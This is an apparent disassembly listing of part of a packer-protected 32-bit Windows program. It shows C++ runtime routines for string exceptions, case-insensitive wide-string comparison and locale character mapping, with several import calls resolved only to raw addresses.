; =============== S U B	R O U T	I N E =======================================



sub_422863	proc near		; CODE XREF: sub_404514+13p
					; sub_4046D8+Ep
		mov	eax, offset loc_423134
		call	sub_418290
		sub	esp, 30h
		lea	eax, [ebp-0Dh]
		push	eax
		push	offset aInvalidStringP ; "invalid string position"
		lea	ecx, [ebp-20h]
		call	sub_422780
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_4227EE
		push	offset dword_425028
		lea	eax, [ebp-3Ch]
		push	eax
		call	sub_422BC9
		int	3		; Trap to Debugger
sub_422863	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4228A0	proc near		; CODE XREF: sub_4227EE+32p
					; sub_4228C0+32p ...

arg_0		= dword	ptr  4

		push	esi
		xor	eax, eax
		push	0FFFFFFFFh
		mov	esi, ecx
		push	eax
		push	[esp+0Ch+arg_0]
		mov	[esi+4], eax
		mov	[esi+8], eax
		mov	[esi+0Ch], eax
		call	sub_404514
		mov	eax, esi
		pop	esi
		retn	4
sub_4228A0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4228C0	proc near		; CODE XREF: sub_42298A+29p
		mov	eax, offset loc_423146
		call	sub_418290
		push	ecx
		push	ecx
		push	esi
		lea	eax, [ebp-10h]
		mov	esi, ecx
		push	eax
		mov	[ebp-14h], esi
		mov	dword ptr [ebp-10h], offset dword_424CC0
		call	sub_422B1F
		push	dword ptr [ebp+8]
		and	dword ptr [ebp-4], 0
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_424CA4
		call	sub_4228A0
		mov	ecx, [ebp-0Ch]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_4228C0	endp


; =============== S U B	R O U T	I N E =======================================



sub_422908	proc near		; CODE XREF: sub_422972+7p
					; sub_4229CE+7p ...
		mov	eax, offset loc_423158
		call	sub_418290
		push	ecx
		push	esi
		push	edi
		mov	edi, [ebp+8]
		mov	esi, ecx
		push	edi
		mov	[ebp-10h], esi
		call	sub_422B5C
		and	dword ptr [ebp-4], 0
		add	edi, 0Ch
		push	edi
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_424CA4
		call	sub_4228A0
		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_422908	endp


; =============== S U B	R O U T	I N E =======================================



sub_42294B	proc near		; DATA XREF: ___:off_424CE0o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_422967
		test	[esp+4+arg_0], 1
		jz	short loc_422961
		push	esi
		call	sub_4182AF
		pop	ecx


loc_422961:				; CODE XREF: sub_42294B+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42294B	endp


; =============== S U B	R O U T	I N E =======================================



sub_422967	proc near		; CODE XREF: sub_42294B+3p
					; DATA XREF: ___:004250D4o
		mov	dword ptr [ecx], offset	off_424CE0
		jmp	sub_4227AA
sub_422967	endp


; =============== S U B	R O U T	I N E =======================================



sub_422972	proc near		; CODE XREF: sub_4229E6+46p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_422908
		mov	dword ptr [esi], offset	off_424CB4
		mov	eax, esi
		pop	esi
		retn	4
sub_422972	endp


; =============== S U B	R O U T	I N E =======================================



sub_42298A	proc near		; CODE XREF: sub_404464+15p
					; sub_4044BD+15p ...
		mov	eax, offset loc_42316A
		call	sub_418290
		sub	esp, 30h
		lea	eax, [ebp-0Dh]
		push	eax
		push	offset aStringTooLong ;	"string	too long"
		lea	ecx, [ebp-20h]
		call	sub_422780
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_4228C0
		push	offset dword_4250D0
		lea	eax, [ebp-3Ch]
		push	eax
		mov	dword ptr [ebp-3Ch], offset off_424CE0
		call	sub_422BC9
		int	3		; Trap to Debugger
sub_42298A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4229CE	proc near		; CODE XREF: sub_4229E6+28p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_422908
		mov	dword ptr [esi], offset	off_424CE0
		mov	eax, esi
		pop	esi
		retn	4
sub_4229CE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_4229E6	proc near		; DATA XREF: ___:00424CACo

var_1C		= byte ptr -1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_422908
		push	offset dword_425110
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_422BC9
		int	3		; Trap to Debugger


loc_422A04:				; DATA XREF: ___:00424CE8o
		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_4229CE
		push	offset dword_4250D0
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_422BC9
		int	3		; Trap to Debugger


loc_422A22:				; DATA XREF: ___:00424CBCo
		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_422972
		push	offset dword_425028
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_422BC9
		int	3		; Trap to Debugger
sub_4229E6	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_422A40	proc near
		jmp	near ptr 71B2ACCBh
sub_422A40	endp

; ---------------------------------------------------------------------------
		db 0D4h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_422A46	proc near		; CODE XREF: sub_403DF6+5Ep
					; sub_4053D5+159p
		nop
		jmp	near ptr 71AB1B7Bh
sub_422A46	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_422A4C	proc near		; CODE XREF: sub_417EFC+23p
					; sub_4181A0+13p
		nop
		jmp	near ptr 27F0956h
sub_422A4C	endp


; =============== S U B	R O U T	I N E =======================================



sub_422A52	proc near		; CODE XREF: sub_409392+E2p
					; sub_409392+F9p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	dword_48A0A8, 0
		push	ebx
		jnz	short loc_422A98
		mov	edx, [esp+4+arg_4]
		mov	ecx, [esp+4+arg_0]


loc_422A64:				; CODE XREF: sub_422A52+42j
		mov	bx, [ecx]
		cmp	bx, 5Ah
		ja	short loc_422A76
		cmp	bx, 41h
		jb	short loc_422A76
		add	ebx, 20h


loc_422A76:				; CODE XREF: sub_422A52+19j
					; sub_422A52+1Fj
		mov	ax, [edx]
		cmp	ax, 5Ah
		ja	short loc_422A88
		cmp	ax, 41h
		jb	short loc_422A88
		add	eax, 20h


loc_422A88:				; CODE XREF: sub_422A52+2Bj
					; sub_422A52+31j
		inc	ecx
		inc	ecx
		inc	edx
		inc	edx
		test	bx, bx
		jz	short loc_422AC8
		cmp	bx, ax
		jz	short loc_422A64
		jmp	short loc_422AC8
; ---------------------------------------------------------------------------


loc_422A98:				; CODE XREF: sub_422A52+8j
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, [esp+0Ch+arg_4]


loc_422AA2:				; CODE XREF: sub_422A52+72j
		mov	ax, [esi]
		inc	esi
		push	eax
		inc	esi
		call	sub_422C03
		mov	ebx, eax
		mov	ax, [edi]
		inc	edi
		push	eax
		inc	edi
		call	sub_422C03
		pop	ecx
		test	bx, bx
		pop	ecx
		jz	short loc_422AC6
		cmp	bx, ax
		jz	short loc_422AA2


loc_422AC6:				; CODE XREF: sub_422A52+6Dj
		pop	edi
		pop	esi


loc_422AC8:				; CODE XREF: sub_422A52+3Dj
					; sub_422A52+44j
		movzx	ecx, ax
		movzx	eax, bx
		sub	eax, ecx
		pop	ebx
		retn
sub_422A52	endp


; =============== S U B	R O U T	I N E =======================================



sub_422AD2	proc near		; CODE XREF: ___:00422AEAp
		mov	dword ptr [ecx], offset	off_424D00
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short locret_422AE6
		push	ecx
		call	sub_417C3B
		pop	ecx

locret_422AE6:				; CODE XREF: sub_422AD2+Bj
		retn
sub_422AD2	endp

; ---------------------------------------------------------------------------


loc_422AE7:				; DATA XREF: ___:off_424D00o
		push	esi
		mov	esi, ecx
		call	sub_422AD2
		test	byte ptr [esp+8], 1
		jz	short loc_422AFD
		push	esi
		call	sub_4182AF
		pop	ecx


loc_422AFD:				; CODE XREF: ___:00422AF4j
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_422B03:				; DATA XREF: ___:off_424D08o
		push	esi
		mov	esi, ecx
		call	sub_422BA6
		test	byte ptr [esp+8], 1
		jz	short loc_422B19
		push	esi
		call	sub_4182AF
		pop	ecx


loc_422B19:				; CODE XREF: ___:00422B10j
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_422B1F	proc near		; CODE XREF: sub_4227EE+1Dp
					; sub_4228C0+1Dp

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_424D08
		push	dword ptr [edi]
		call	sub_417AB0
		inc	eax
		push	eax
		call	sub_4185F5
		pop	ecx
		mov	[esi+4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_422B4E
		push	dword ptr [edi]
		push	eax
		call	sub_4179C0
		pop	ecx
		pop	ecx


loc_422B4E:				; CODE XREF: sub_422B1F+23j
		mov	dword ptr [esi+8], 1
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_422B1F	endp


; =============== S U B	R O U T	I N E =======================================



sub_422B5C	proc near		; CODE XREF: sub_422908+16p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_424D08
		mov	eax, [edi+8]
		test	eax, eax
		mov	[esi+8], eax
		jz	short loc_422B99
		push	dword ptr [edi+4]
		call	sub_417AB0
		inc	eax
		push	eax
		call	sub_4185F5
		pop	ecx
		mov	[esi+4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_422B9F
		push	dword ptr [edi+4]
		push	eax
		call	sub_4179C0
		pop	ecx
		pop	ecx
		jmp	short loc_422B9F
; ---------------------------------------------------------------------------


loc_422B99:				; CODE XREF: sub_422B5C+16j
		mov	eax, [edi+4]
		mov	[esi+4], eax


loc_422B9F:				; CODE XREF: sub_422B5C+2Ej
					; sub_422B5C+3Bj
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_422B5C	endp


; =============== S U B	R O U T	I N E =======================================



sub_422BA6	proc near		; CODE XREF: sub_4227AA+16j
					; ___:00422B06p ...
		cmp	dword ptr [ecx+8], 0
		mov	dword ptr [ecx], offset	off_424D08
		jz	short locret_422BBB
		push	dword ptr [ecx+4]
		call	sub_4182AF
		pop	ecx

locret_422BBB:				; CODE XREF: sub_422BA6+Aj
		retn
sub_422BA6	endp


; =============== S U B	R O U T	I N E =======================================



sub_422BBC	proc near		; DATA XREF: ___:00424D0Co
		mov	eax, [ecx+4]
		test	eax, eax
		jnz	short locret_422BC8
		mov	eax, offset aUnknownExcepti ; "Unknown exception"

locret_422BC8:				; CODE XREF: sub_422BBC+5j
		retn
sub_422BBC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422BC9	proc near		; CODE XREF: sub_422863+37p
					; sub_42298A+3Ep ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	8
		pop	ecx
		mov	esi, offset dword_424D28
		lea	edi, [ebp+var_20]
		rep movsd
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_1C]
		push	[ebp+var_20]
		nop
		call	near ptr 2860000h
		pop	edi
		pop	esi
		leave
		retn	8
sub_422BC9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422C03	proc near		; CODE XREF: sub_422A52+56p
					; sub_422A52+63p

var_2		= word ptr -2
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		cmp	ax, 0FFFFh
		jnz	short loc_422C15
		or	ax, ax
		leave
		retn
; ---------------------------------------------------------------------------


loc_422C15:				; CODE XREF: sub_422C03+Bj
		cmp	dword_48A0A8, 0
		jnz	short loc_422C2F
		cmp	ax, 41h
		jb	short locret_422C76
		cmp	ax, 5Ah
		ja	short locret_422C76
		add	eax, 20h
		leave
		retn
; ---------------------------------------------------------------------------


loc_422C2F:				; CODE XREF: sub_422C03+19j
		cmp	ax, 100h
		jnb	short loc_422C49
		push	1
		push	eax
		call	sub_422EB1
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_422C49
		mov	ax, word ptr [ebp+arg_0]
		leave
		retn
; ---------------------------------------------------------------------------


loc_422C49:				; CODE XREF: sub_422C03+30j
					; sub_422C03+3Ej
		push	0
		lea	eax, [ebp+var_2]
		push	1
		push	eax
		lea	eax, [ebp+arg_0]
		push	1
		push	eax
		push	100h
		push	dword_48A0A8
		call	sub_422C78
		add	esp, 1Ch
		test	eax, eax
		mov	ax, word ptr [ebp+arg_0]
		jz	short locret_422C76
		mov	ax, [ebp+var_2]

locret_422C76:				; CODE XREF: sub_422C03+1Fj
					; sub_422C03+25j ...
		leave
		retn
sub_422C03	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422C78	proc near		; CODE XREF: sub_422C03+5Fp

var_2C		= dword	ptr -2Ch
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_424D48
		push	offset sub_41F774
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	esi, esi
		cmp	dword_48A304, esi
		jnz	short loc_422CEE
		push	esi
		push	esi
		push	1
		pop	ebx
		push	ebx
		push	offset dword_4248D8
		mov	edi, 100h
		push	edi
		push	esi
		call	near ptr 2880000h
		nop
		test	eax, eax
		jz	short loc_422CCC
		mov	dword_48A304, ebx
		jmp	short loc_422CEE
; ---------------------------------------------------------------------------


loc_422CCC:				; CODE XREF: sub_422C78+4Aj
		push	esi
		push	esi
		push	ebx
		push	offset dword_43C824
		push	edi
		push	esi
		nop
		call	near ptr 2870000h
		test	eax, eax
		jz	loc_422E6D
		mov	dword_48A304, 2


loc_422CEE:				; CODE XREF: sub_422C78+2Ej
					; sub_422C78+52j
		cmp	[ebp+arg_C], esi
		jle	short loc_422D03
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_422E81
		pop	ecx
		pop	ecx
		mov	[ebp+arg_C], eax


loc_422D03:				; CODE XREF: sub_422C78+79j
		mov	eax, dword_48A304
		cmp	eax, 1
		jnz	short loc_422D2A
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	near ptr 2880000h
		nop
		jmp	loc_422E6F
; ---------------------------------------------------------------------------


loc_422D2A:				; CODE XREF: sub_422C78+93j
		cmp	eax, 2
		jnz	loc_422E6D
		cmp	[ebp+arg_18], esi
		jnz	short loc_422D40
		mov	eax, dword_48A0B8
		mov	[ebp+arg_18], eax


loc_422D40:				; CODE XREF: sub_422C78+BEj
		push	esi
		push	esi
		push	esi
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	220h
		push	[ebp+arg_18]
		nop
		call	near ptr 27C0000h
		mov	[ebp+var_20], eax
		cmp	eax, esi
		jz	loc_422E6D
		mov	[ebp+var_4], esi
		add	eax, 3
		and	al, 0FCh
		call	sub_417B30
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_1C], eax
		jmp	short loc_422D86
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	esi, esi
		mov	[ebp+var_1C], esi


loc_422D86:				; CODE XREF: sub_422C78+100j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	[ebp+var_1C], esi
		jz	loc_422E6D
		push	esi
		push	esi
		push	[ebp+var_20]
		push	[ebp+var_1C]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	220h
		push	[ebp+arg_18]
		nop
		call	near ptr 27C0000h
		test	eax, eax
		jz	loc_422E6D
		push	esi
		push	esi
		push	[ebp+var_20]
		push	[ebp+var_1C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2870000h
		mov	edi, eax
		mov	[ebp+var_2C], edi
		cmp	edi, esi
		jz	loc_422E6D
		mov	[ebp+var_4], 1
		add	eax, 3
		and	al, 0FCh
		call	sub_417B30
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_24], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_422E09
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	esi, esi
		xor	ebx, ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	edi, [ebp+var_2C]


loc_422E09:				; CODE XREF: sub_422C78+17Dj
		cmp	ebx, esi
		jz	short loc_422E6D
		push	edi
		push	ebx
		push	[ebp+var_20]
		push	[ebp+var_1C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2870000h
		test	eax, eax
		jz	short loc_422E6D
		test	byte ptr [ebp+arg_4+1],	4
		jz	short loc_422E47
		mov	eax, [ebp+arg_14]
		cmp	eax, esi
		jz	short loc_422E69
		cmp	eax, edi
		jl	short loc_422E38
		mov	eax, edi


loc_422E38:				; CODE XREF: sub_422C78+1BCj
		push	eax
		push	ebx
		push	[ebp+arg_10]
		call	sub_418C10
		add	esp, 0Ch
		jmp	short loc_422E69
; ---------------------------------------------------------------------------


loc_422E47:				; CODE XREF: sub_422C78+1B1j
		cmp	[ebp+arg_14], esi
		jnz	short loc_422E50
		push	esi
		push	esi
		jmp	short loc_422E56
; ---------------------------------------------------------------------------


loc_422E50:				; CODE XREF: sub_422C78+1D2j
		push	[ebp+arg_14]
		push	[ebp+arg_10]


loc_422E56:				; CODE XREF: sub_422C78+1D6j
		push	edi
		push	ebx
		push	1
		push	[ebp+arg_18]
		nop
		call	near ptr 2620000h
		mov	edi, eax
		cmp	edi, esi


loc_422E67:				; DATA XREF: Themida_:0051F88Ao
		jz	short loc_422E6D


loc_422E69:				; CODE XREF: sub_422C78+1B8j
					; sub_422C78+1CDj
		mov	eax, edi
		jmp	short loc_422E6F
; ---------------------------------------------------------------------------


loc_422E6D:				; CODE XREF: sub_422C78+66j
					; sub_422C78+B5j ...
		xor	eax, eax


loc_422E6F:				; CODE XREF: sub_422C78+ADj
					; sub_422C78+1F3j
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_422C78	endp


; =============== S U B	R O U T	I N E =======================================



sub_422E81	proc near		; CODE XREF: sub_422C78+81p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		test	edx, edx
		push	esi
		lea	ecx, [edx-1]
		jz	short loc_422EA0


loc_422E91:				; CODE XREF: sub_422E81+1Dj
		cmp	word ptr [eax],	0
		jz	short loc_422EA0
		inc	eax
		mov	esi, ecx
		inc	eax
		dec	ecx
		test	esi, esi
		jnz	short loc_422E91


loc_422EA0:				; CODE XREF: sub_422E81+Ej
					; sub_422E81+14j
		cmp	word ptr [eax],	0
		pop	esi
		jnz	short loc_422EAE
		sub	eax, [esp+arg_0]
		sar	eax, 1
		retn
; ---------------------------------------------------------------------------


loc_422EAE:				; CODE XREF: sub_422E81+24j
		mov	eax, edx
		retn
sub_422E81	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422EB1	proc near		; CODE XREF: sub_422C03+35p

var_4		= dword	ptr -4
arg_0		= word ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 0FFFFh
		jz	short loc_422EF1
		cmp	[ebp+arg_0], 100h
		jnb	short loc_422ED5
		movzx	eax, [ebp+arg_0]
		mov	ecx, off_4395A4
		mov	ax, [ecx+eax*2]
		jmp	short loc_422EF8
; ---------------------------------------------------------------------------


loc_422ED5:				; CODE XREF: sub_422EB1+12j
		push	0
		lea	eax, [ebp+var_4]
		push	0
		push	eax
		lea	eax, [ebp+arg_0]
		push	1
		push	eax
		push	1
		call	sub_422F03
		add	esp, 18h
		test	eax, eax
		jnz	short loc_422EF5


loc_422EF1:				; CODE XREF: sub_422EB1+Aj
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_422EF5:				; CODE XREF: sub_422EB1+3Ej
		mov	eax, [ebp+var_4]


loc_422EF8:				; CODE XREF: sub_422EB1+22j
		movzx	ecx, [ebp+arg_4]
		movzx	eax, ax
		and	eax, ecx
		leave
		retn
sub_422EB1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422F03	proc near		; CODE XREF: sub_422EB1+34p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_424D60
		push	offset sub_41F774
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, dword_48A308
		xor	edi, edi
		cmp	eax, edi
		jnz	short loc_422F72
		lea	eax, [ebp+var_1C]
		push	eax
		push	1
		pop	esi
		push	esi
		push	offset dword_4248D8
		push	esi
		nop
		call	near ptr 25C06C4h
		test	eax, eax
		jz	short loc_422F50
		mov	eax, esi
		jmp	short loc_422F6D
; ---------------------------------------------------------------------------


loc_422F50:				; CODE XREF: sub_422F03+47j
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		push	offset dword_43C824
		push	esi
		push	edi
		nop
		call	near ptr 25D0000h
		test	eax, eax
		jz	loc_4230B4
		push	2
		pop	eax


loc_422F6D:				; CODE XREF: sub_422F03+4Bj
		mov	dword_48A308, eax


loc_422F72:				; CODE XREF: sub_422F03+2Fj
		cmp	eax, 1
		jnz	short loc_422F8E
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 25C06C4h
		jmp	loc_4230B6
; ---------------------------------------------------------------------------


loc_422F8E:				; CODE XREF: sub_422F03+72j
		cmp	eax, 2
		jnz	loc_4230B4
		cmp	[ebp+arg_10], edi
		jnz	short loc_422FA4
		mov	eax, dword_48A0B8
		mov	[ebp+arg_10], eax


loc_422FA4:				; CODE XREF: sub_422F03+97j
		push	edi
		push	edi
		push	edi
		push	edi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	220h
		push	[ebp+arg_10]
		nop
		call	near ptr 27C0000h
		mov	esi, eax
		mov	[ebp+var_28], esi
		cmp	esi, edi
		jz	loc_4230B4
		mov	[ebp+var_4], edi
		add	eax, 3
		and	al, 0FCh
		call	sub_417B30
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_2C], eax
		push	esi
		push	edi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_423002
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		mov	[ebp+var_2C], edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_28]


loc_423002:				; CODE XREF: sub_422F03+EAj
		cmp	[ebp+var_2C], edi
		jz	loc_4230B4
		push	edi
		push	edi
		push	esi
		push	[ebp+var_2C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	220h
		push	[ebp+arg_10]
		nop
		call	near ptr 27C0000h
		test	eax, eax
		jz	loc_4230B4
		mov	[ebp+var_4], 1
		lea	eax, [esi+esi+2]
		add	eax, 3
		and	al, 0FCh
		call	sub_417B30
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_24], ebx
		jmp	short loc_423057
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		xor	ebx, ebx


loc_423057:				; CODE XREF: sub_422F03+147j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	ebx, edi
		jz	short loc_4230B4
		mov	eax, [ebp+arg_14]
		cmp	eax, edi
		jnz	short loc_42306B
		mov	eax, dword_48A0A8


loc_42306B:				; CODE XREF: sub_422F03+161j
		mov	ecx, [ebp+arg_8]
		lea	edi, [ecx+ecx]
		lea	esi, [edi+ebx]
		or	word ptr [esi],	0FFFFh
		or	word ptr [esi-2], 0FFFFh
		push	ebx
		push	[ebp+var_28]
		push	[ebp+var_2C]
		push	[ebp+arg_0]
		push	eax
		nop
		call	near ptr 25D0000h
		mov	[ebp+var_20], eax
		cmp	word ptr [esi-2], 0FFFFh
		jz	short loc_4230B4
		cmp	word ptr [esi],	0FFFFh
		jnz	short loc_4230B4
		push	edi
		push	ebx
		push	[ebp+arg_C]
		call	sub_4182C0
		add	esp, 0Ch
		mov	eax, [ebp+var_20]
		jmp	short loc_4230B6
; ---------------------------------------------------------------------------


loc_4230B4:				; CODE XREF: sub_422F03+61j
					; sub_422F03+8Ej ...
		xor	eax, eax


loc_4230B6:				; CODE XREF: sub_422F03+86j
					; sub_422F03+1AFj
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_422F03	endp


; =============== S U B	R O U T	I N E =======================================



sub_4230C8	proc near		; DATA XREF: ___:00424F14o

; FUNCTION CHUNK AT 0040445C SIZE 00000008 BYTES

		lea	ecx, [ebp-38h]
		jmp	loc_40445C
sub_4230C8	endp

; ---------------------------------------------------------------------------
		mov	eax, [ebp-20h]
		and	eax, 1
		test	eax, eax
		jz	locret_4230E6
		mov	ecx, [ebp+8]
		jmp	loc_40445C
; ---------------------------------------------------------------------------

locret_4230E6:				; CODE XREF: ___:004230D8j
		retn
; ---------------------------------------------------------------------------


loc_4230E7:				; DATA XREF: sub_404032o
		mov	eax, offset dword_424EE8
		jmp	loc_417F4B
; ---------------------------------------------------------------------------
		align 4
		lea	ecx, [ebp+14h]
		jmp	loc_40445C
; ---------------------------------------------------------------------------


loc_4230FC:				; DATA XREF: ___:00424F44o
		lea	ecx, [ebp-1Ch]
		jmp	loc_40445C
; ---------------------------------------------------------------------------


loc_423104:				; DATA XREF: sub_4041D4o
		mov	eax, offset dword_424F18
		jmp	loc_417F4B
; ---------------------------------------------------------------------------
		align 10h


loc_423110:				; DATA XREF: sub_40473Fo
		mov	eax, offset dword_424F48
		jmp	loc_417F4B
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-14h]
		jmp	sub_422BA6
; ---------------------------------------------------------------------------


loc_423122:				; DATA XREF: sub_4227EEo
		mov	eax, offset dword_424FA8
		jmp	loc_417F4B
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-20h]
		jmp	loc_40445C
; ---------------------------------------------------------------------------


loc_423134:				; DATA XREF: sub_422863o
		mov	eax, offset dword_425040
		jmp	loc_417F4B
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-14h]
		jmp	sub_422BA6
; ---------------------------------------------------------------------------


loc_423146:				; DATA XREF: sub_4228C0o
		mov	eax, offset dword_425064
		jmp	loc_417F4B
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_422BA6
; ---------------------------------------------------------------------------


loc_423158:				; DATA XREF: sub_422908o
		mov	eax, offset dword_425088
		jmp	loc_417F4B
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-20h]
		jmp	loc_40445C
; ---------------------------------------------------------------------------


loc_42316A:				; DATA XREF: sub_42298Ao
		mov	eax, offset dword_4250E8
		jmp	loc_417F4B
; ---------------------------------------------------------------------------
		dd 3A3h	dup(0)
		dd 2590000h, 2590162h, 25A0000h, 25A05BBh, 25B0000h, 25B0B0Ah
